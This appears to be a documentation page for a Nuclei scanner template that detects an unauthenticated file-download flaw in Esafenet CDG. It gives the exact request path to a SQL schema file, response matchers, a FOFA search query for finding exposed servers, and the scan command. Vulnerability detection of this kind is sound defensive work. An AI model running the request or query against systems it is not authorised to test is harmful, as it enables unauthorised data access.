Skip to content
Nuclei Templates

Esafenet CDG mysql - File Read

ID: esafenet-mysql-fileread

Severity: high

Author: DhiyaneshDk

Tags: esafenet,lfi,mysql

Description

Section titled “Description”

CDGServer3 Unauthorized File Download vulnerability is detected.

YAML Source

Section titled “YAML Source”
id: esafenet-mysql-fileread


info:
  name: Esafenet CDG mysql - File Read
  author: DhiyaneshDk
  severity: high
  description: |
    CDGServer3 Unauthorized File Download vulnerability is detected.
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="电子文档安全管理系统"
    product: electronic_document_security_management_system
    vendor: esafenet
  tags: esafenet,lfi,mysql


http:
  - method: GET
    path:
      - "{{BaseURL}}/CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sql"


    max-size: 1000
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "varchar"
          - "create table"
        condition: and


      - type: word
        part: header
        words:
          - "application/x-sql"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100814f8ab5c7b6d05f5eef203e8c573fae882e63c8e1f7bba6640c3f61c8f392c202203b2aeb779397a5aaa58522c63b59a3e238d25b6b1e7e88850bae3f027c92f478:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/esafenet/esafenet-mysql-fileread.yaml"

View on Github